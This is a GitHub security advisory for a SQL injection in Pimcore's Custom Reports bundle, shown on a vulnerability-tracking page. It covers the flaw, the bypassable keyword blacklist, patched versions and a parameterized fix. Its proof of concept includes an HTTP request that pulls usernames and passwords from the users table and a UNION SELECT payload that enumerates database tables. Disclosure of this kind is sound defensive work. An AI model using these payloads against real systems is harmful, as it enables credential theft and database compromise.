GHSA-23RH-XW42-FQ82
Vulnerability from github – Published: 2026-09-10 19:25 – Updated: 2026-09-10 19:25Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports_configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
Taint Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
Proof of Concept
Steps
- Authenticate as an admin user with
reports_configpermission - Send a report update request with malicious SQL in the configuration:
Request
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
- Access the report data endpoint to retrieve extracted user credentials
- Alternatively, the
wherefield can be set to:1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLESto enumerate all database tables
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.1.5"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.9"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0-RC1"
},
{
"fixed": "12.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 11.5.18"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.5.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55416"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T19:25:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration\n\n## Summary\n\n### Impact\n\nA SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable \u2014 it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.\n\nAdditionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.\n\n### Patches\n\nVersions 2026.1.6, 12.3.10, 11.5.19.\n\n### Workarounds\n\n1. Restrict `reports_config` permission to only highly trusted administrators\n2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter\n3. Replace the custom SQL adapter with a parameterized query builder approach\n\n## Attack Path (Validation Evidence)\n\n```\n[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1\n \u2193 (requires reports_config permission + valid admin session)\n[Controller] CustomReportController::updateAction()\n \u2193 $configuration = decodeJson($request-\u003erequest-\u003egetString(\u0027configuration\u0027))\n[Config Store] Configuration saved to custom_reports database table\n[Config Load] Tool\\Config::getByName() loads stdClass $config from DB\n \u2193\n[Adapter] Sql::getBaseQuery() \u2192 Sql::buildQueryString($config)\n \u2193 Directly concatenates config fields:\n[Vulnerable] $sql .= \"\\n\" . $config[\u0027sql\u0027]; // Line 92\n $sql .= \"\\n\" . $config[\u0027from\u0027]; // Line 103\n $sql .= \"\\n\" . \u0027WHERE (\u0027 . $config[\u0027where\u0027] . \u0027)\u0027; // Line 110\n $sql .= \"\\n\" . $config[\u0027groupby\u0027]; // Line 117\n[Weak Guard] preg_match(\u0027/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\\s/i\u0027, ...)\n \u2193 \u2717 Bypassable \u2014 missing INSERT, UNION, SELECT, subqueries, comments\n[Execution] $db-\u003efetchAllAssociative($sql); // Line 54\n \u2193\n[Impact] Arbitrary SQL execution \u2014 full database compromise\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: $request-\u003erequest-\u003egetString(\u0027configuration\u0027) (HTTP POST body, user-controlled)\n \u2193 json_decode() \u2192 stdClass\n[Store] Persistent in database (custom_reports table)\n[Load] Config::getByName() \u2192 stdClass $config\n \u2193 \u2717 No sanitization (only bypassable regex blacklist)\n[Sink] $db-\u003efetchAllAssociative($concatenatedSql)\n \u2193\nImpact: Attacker-controlled SQL executed against the database\n```\n\n## Proof of Concept\n\n### Steps\n\n1. Authenticate as an admin user with `reports_config` permission\n2. Send a report update request with malicious SQL in the configuration:\n\n### Request\n\n```http\nPOST /admin/bundle/customreports/custom-report/update HTTP/1.1\nHost: \u003ctarget-host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: PHPSESSID=\u003cvalid_admin_session\u003e\n\nname=malicious_report\u0026configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D\n```\n\n3. Access the report data endpoint to retrieve extracted user credentials\n4. Alternatively, the `where` field can be set to:\n ```\n 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES\n ```\n to enumerate all database tables\n\n### Expected Result\n\nThe custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.\n\n## Affected Component\n\n- **File:** `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`\n- **Method:** `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58)\n- **Class:** `Pimcore\\Bundle\\CustomReportsBundle\\Tool\\Adapter\\Sql`\n\n## Fix Recommendation\n\nReplace the custom SQL concatenation approach with a parameterized query builder:\n\n```php\n// Instead of:\n$sql .= \"\\n\" . $config[\u0027sql\u0027];\n$sql .= \"\\n\" . $config[\u0027from\u0027];\n$sql .= \"\\n\" . \u0027WHERE (\u0027 . $config[\u0027where\u0027] . \u0027)\u0027;\n\n// Use a whitelist-based approach:\n// 1. Only allow predefined table names from a whitelist\n// 2. Use Doctrine QueryBuilder for WHERE conditions\n// 3. Use parameterized queries for all user-supplied values\n// 4. Cast LIMIT/OFFSET to integers\n\n$sql .= \u0027 LIMIT \u0027 . (int)$offset . \u0027,\u0027 . (int)$limit;\n```\n\n## Resources\n\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)",
"id": "GHSA-23rh-xw42-fq82",
"modified": "2026-09-10T19:25:05Z",
"published": "2026-09-10T19:25:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-23rh-xw42-fq82"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v11.5.19"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.10"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.